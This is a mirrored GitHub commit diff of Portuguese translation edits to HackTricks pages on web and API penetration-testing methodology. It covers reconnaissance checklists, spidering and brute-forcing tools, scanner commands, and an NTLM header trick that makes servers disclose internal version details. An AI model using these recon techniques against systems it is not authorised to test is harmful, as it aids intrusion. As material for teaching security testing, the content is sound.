mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
Translated ['linux-hardening/privilege-escalation/README.md', 'network-s
This commit is contained in:
Translator
parent
89a9ce7b4f
commit
1e014aeca2
7 changed files with 348 additions and 657 deletions
|
|
@ -49,7 +49,7 @@
|
|||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -45,26 +45,26 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> Nesta metodologia, vamos supor que você está atacando um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com um servidor web indeterminado dentro do escopo.
|
||||
|
||||
* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se conseguir identificar com sucesso a tecnologia.
|
||||
* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se você conseguir identificar com sucesso a tecnologia.
|
||||
* [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
|
||||
* [ ] Usando alguma **tecnologia conhecida**? Algum **truque útil** para extrair mais informações?
|
||||
* [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informações?
|
||||
* [ ] Algum **scanner especializado** para executar (como wpscan)?
|
||||
* [ ] Inicie os **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
|
||||
* [ ] Inicie **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
|
||||
* [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **verificação SSL/TLS** (se HTTPS).
|
||||
* [ ] Inicie o **spidering** da página web: É hora de **encontrar** todos os **arquivos, pastas** e **parâmetros possíveis** sendo usados. Além disso, verifique **descobertas especiais**.
|
||||
* [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._
|
||||
* [ ] **Brute-Forcing de Diretórios**: Tente forçar bruta todos os diretórios descobertos procurando novos **arquivos** e **diretórios**.
|
||||
* [ ] **Brute-Forcing de Diretórios**: Tente forçar todos os diretórios descobertos em busca de novos **arquivos** e **diretórios**.
|
||||
* [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
|
||||
* [ ] **Verificação de Backups**: Teste se você pode encontrar **backups** dos **arquivos descobertos** anexando extensões de backup comuns.
|
||||
* [ ] **Verificação de Backups**: Teste se você pode encontrar **backups** de **arquivos descobertos** anexando extensões de backup comuns.
|
||||
* [ ] **Brute-Force de Parâmetros**: Tente **encontrar parâmetros ocultos**.
|
||||
* [ ] Depois de ter **identificado** todos os **endpoints possíveis** que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
|
||||
* [ ] Depois de ter **identificado** todos os **endpoints** possíveis que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
|
||||
* [ ] [Siga esta lista de verificação](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Versão do Servidor (Vulnerável?)
|
||||
|
||||
### Identificar
|
||||
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a **versão do servidor** que está em execução.\
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a versão do servidor que está em execução.\
|
||||
Os **cabeçalhos HTTP e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. A varredura **Nmap** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
|
@ -124,7 +124,7 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma conhecida lis
|
|||
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar um **teste White box** da aplicação por conta própria, há **algumas informações** que podem ser **úteis** para o atual **teste Black-Box**:
|
||||
|
||||
* Existe um **registro de alterações ou Readme ou arquivo de versão** ou qualquer coisa com **informações de versão acessíveis** via web?
|
||||
* Como e onde estão salvadas as **credenciais**? Existe algum **arquivo (acessível?)** com credenciais (nomes de usuário ou senhas)?
|
||||
* Como e onde estão salvadas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
|
||||
* As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
|
||||
* Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
|
||||
* Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
|
||||
|
|
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
Se um CMS for usado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites para problemas de segurança. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): sites [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** em busca de problemas de segurança. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
|
|
@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Neste ponto, você já deve ter alguma informação sobre o servidor web usado pelo cliente (se houver dados fornecidos) e algumas dicas a serem lembradas durante o teste. Se tiver sorte, você pode até ter encontrado um CMS e executado algum scanner.
|
||||
> Neste ponto, você já deve ter alguma informação sobre o servidor web usado pelo cliente (se houver dados fornecidos) e alguns truques a serem lembrados durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
|
||||
|
||||
## Descoberta de Aplicativos da Web Passo a Passo
|
||||
|
||||
|
|
@ -182,10 +182,10 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**Forçando erros**
|
||||
|
||||
Os servidores web podem **se comportar de forma inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
|
||||
Servidores web podem **comportar-se de forma inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
|
||||
|
||||
* Acesse **páginas falsas** como /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* Adicione "\[]", "]]" e "\[\[" nos valores de **cookies** e nos valores de **parâmetros** para criar erros
|
||||
* Acesse **páginas falsas** como /qualquer\_falso.php (.aspx,.html,.etc)
|
||||
* Adicione "\[]", "]]" e "\[\[" nos valores de **cookie** e nos valores de **parâmetro** para criar erros
|
||||
* Gere erro fornecendo entrada como **`/~randomthing/%s`** no **final** da **URL**
|
||||
* Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE
|
||||
|
||||
|
|
@ -198,10 +198,10 @@ Se você descobrir que o **WebDav** está **habilitado** mas não tem permissõe
|
|||
|
||||
### **Vulnerabilidades SSL/TLS**
|
||||
|
||||
* Se o aplicativo **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
|
||||
* Se o aplicativo estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.
|
||||
* Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
|
||||
* Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv**](https://github.com/hahwul/a2sv) para re-verificar as vulnerabilidades:
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
|
@ -217,19 +217,19 @@ Informações sobre vulnerabilidades SSL/TLS:
|
|||
|
||||
### Spidering
|
||||
|
||||
Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o máximo de caminhos possível** na aplicação testada. Portanto, a indexação da web e fontes externas devem ser usadas para encontrar o máximo de caminhos válidos possível.
|
||||
Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o máximo de caminhos possível** na aplicação testada. Portanto, a rastreabilidade da web e fontes externas devem ser usadas para encontrar o máximo de caminhos válidos possível.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, também indica "arquivos suculentos".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode simplesmente indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo via CLI. Também pesquisa no Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML com capacidades de renderização JS. No entanto, parece estar desatualizado, a versão pré-compilada é antiga e o código atual não compila.
|
||||
* [**gau**](https://github.com/lc/gau) (go): Spider HTML que usa provedores externos (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e as listará.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também vale a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes vermelhas, ninjas de segurança da informação.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capazes de buscar novos caminhos em arquivos JS. Também vale a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes de red team, ninjas de segurança da informação.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente solicitações AJAX. Parece estar desatualizado.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando uma expressão regular engenhosa para encontrar e extrair os URLs relativos de arquivos feios (minificados).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Reúna informações interessantes de arquivos JS usando várias ferramentas.
|
||||
|
|
@ -244,10 +244,11 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
|
|||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web GUI multi-feature projetado para profissionais de segurança cibernética.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples extensão do **Burp Suite** para **extrair os parâmetros e endpoints** da solicitação para criar uma lista de palavras personalizada para fuzzing e enumeração.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso.
|
||||
|
||||
### Força Bruta em diretórios e arquivos
|
||||
|
||||
Inicie a **força bruta** a partir da pasta raiz e certifique-se de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pela **Spidering** (você pode fazer essa força bruta de forma **recursiva** e acrescentar no início da lista de palavras usada os nomes dos diretórios encontrados).\
|
||||
Inicie a **força bruta** a partir da pasta raiz e certifique-se de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta de forma **recursiva** e anexando no início da lista de palavras usada os nomes dos diretórios encontrados).\
|
||||
Ferramentas:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados autoassinados e pesquisa recursiva. Muito lento em comparação com as outras opções.
|
||||
|
|
@ -264,9 +265,9 @@ Ferramentas:
|
|||
**Dicionários recomendados:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* Dicionário incluído no **Dirsearch**
|
||||
* Dicionário incluído no **Dirsearch**.
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Wordlists Assetnote](https://wordlists.assetnote.io)
|
||||
* [Listas de palavras da Assetnote](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
|
@ -284,15 +285,15 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
|
||||
### O que verificar em cada arquivo encontrado
|
||||
|
||||
* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem ser propensos a ataques de takeover.
|
||||
* **Backups de arquivos**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem ser propensos a ataques de takeover
|
||||
* **Backups de arquivos**: Depois de encontrar todos os arquivos, procure backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente procurar** parâmetros ocultos em cada arquivo web executável.
|
||||
* _Todos os wordlists padrão do Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidades ocultas**.
|
||||
* Se você estiver participando de um **CTF**, um "truque" comum é **ocultar informações** dentro de comentários no **final** da **página** (usando **centenas** de **espaços** para que os dados não sejam visíveis ao abrir o código-fonte no navegador). Outra possibilidade é usar **várias novas linhas** e **ocultar informações** em um comentário na **parte inferior** da página da web.
|
||||
* Se você está participando de um **CTF**, um "truque" comum é **esconder informações** dentro de comentários no **final** da **página** (usando **centenas** de **espaços** para que você não veja os dados ao abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página da web.
|
||||
* **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
|
||||
* **Buckets S3**: Durante o spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/).
|
||||
|
|
@ -303,18 +304,18 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
|
||||
**Arquivos interessantes**
|
||||
|
||||
* Procure por **links** para outros arquivos dentro dos arquivos **CSS**.
|
||||
* Procure **links** para outros arquivos dentro dos arquivos **CSS**.
|
||||
* [Se encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md)
|
||||
* Se encontrar um arquivo _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
|
||||
* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Eles não são arquivos, mas provavelmente "se parecerão" com eles.
|
||||
* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
|
||||
* **Arquivos JS**: Na seção de spidering, foram mencionadas várias ferramentas que podem extrair caminhos de arquivos JS. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar a introdução de uma vulnerabilidade potencial no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para verificar se são vulneráveis.
|
||||
* **Desofuscador e descompactador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Desofuscador e descompactador de JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Embelezador de JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Desofuscação JsFuck** (javascript com caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Em várias ocasiões, você precisará **entender as expressões regulares** usadas, isso será útil: [https://regex101.com/](https://regex101.com)
|
||||
* Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma alteração no parâmetro ou o surgimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
* Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma alteração no parâmetro ou a aparição de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
|
@ -330,14 +331,14 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
|
|||
|
||||
Se o servidor em execução que solicita autenticação for **Windows** ou se você encontrar um login solicitando suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
|
||||
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
|
||||
Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
|
||||
Você pode **automatizar** isso usando o plugin do **nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**Redirecionamento HTTP (CTF)**
|
||||
|
||||
É possível **inserir conteúdo** dentro de um **redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo pode ser **oculto** lá.
|
||||
É possível **inserir conteúdo** dentro de um **redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo poderia estar **oculto** lá.
|
||||
### Verificação de Vulnerabilidades Web
|
||||
|
||||
Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
Agora que foi realizada uma enumeração abrangente da aplicação web, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
|
@ -439,6 +440,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Tenha Acesso Hoje:
|
||||
|
|
@ -49,7 +49,7 @@ Testar APIs envolve uma abordagem estruturada para descobrir vulnerabilidades. E
|
|||
|
||||
### **Ferramentas e Recursos para Teste de Penetração em API**
|
||||
|
||||
* **kiterunner**: Excelente para descobrir endpoints de API. Use-o para escanear e forçar caminhos e parâmetros contra APIs-alvo.
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descobrir endpoints de API. Use-o para escanear e forçar caminhos e parâmetros contra APIs-alvo.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
|
|
@ -57,19 +57,20 @@ kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
|||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
* Ferramentas adicionais como **automatic-api-attack-tool**, **Astra** e **restler-fuzzer** oferecem funcionalidades personalizadas para testes de segurança de API, que vão desde simulação de ataques até fuzzing e varredura de vulnerabilidades.
|
||||
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): É uma ferramenta de segurança de API que audita sua API com base em um arquivo OAS (a ferramenta é escrita em rust).
|
||||
|
||||
### **Recursos de Aprendizado e Prática**
|
||||
|
||||
* **OWASP API Security Top 10**: Leitura essencial para entender vulnerabilidades comuns de API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
